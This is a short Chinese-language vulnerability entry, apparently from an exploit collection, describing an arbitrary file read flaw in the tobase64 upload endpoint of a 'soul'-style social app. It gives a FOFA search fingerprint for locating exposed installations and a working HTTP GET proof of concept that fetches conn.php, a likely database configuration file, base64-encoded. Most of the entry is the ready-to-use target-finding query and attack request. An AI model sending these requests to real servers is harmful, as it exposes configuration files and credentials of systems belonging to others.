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28 lines
857 B
Markdown
28 lines
857 B
Markdown
# 某仿soul欲音社交系统存在任意文件读取漏洞
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位于 /application/api/controller/upload.php 控制器中的tobase64 方法通过传入file参数 然后通过fopen直接读取任意文件，然后输出base64编码后的文件.
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## fofa
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```javascript
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"/public/style/admin/js/jquery.min.js"
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```
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## poc
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```php
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GET /api/upload/tobase64?file=conn.php HTTP/1.1
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Host: 127.0.0.1
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Cache-Control: max-age=0
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sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
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```
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## 漏洞来源
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- https://mp.weixin.qq.com/s/SuunBk1lnphYNgixyWegRg
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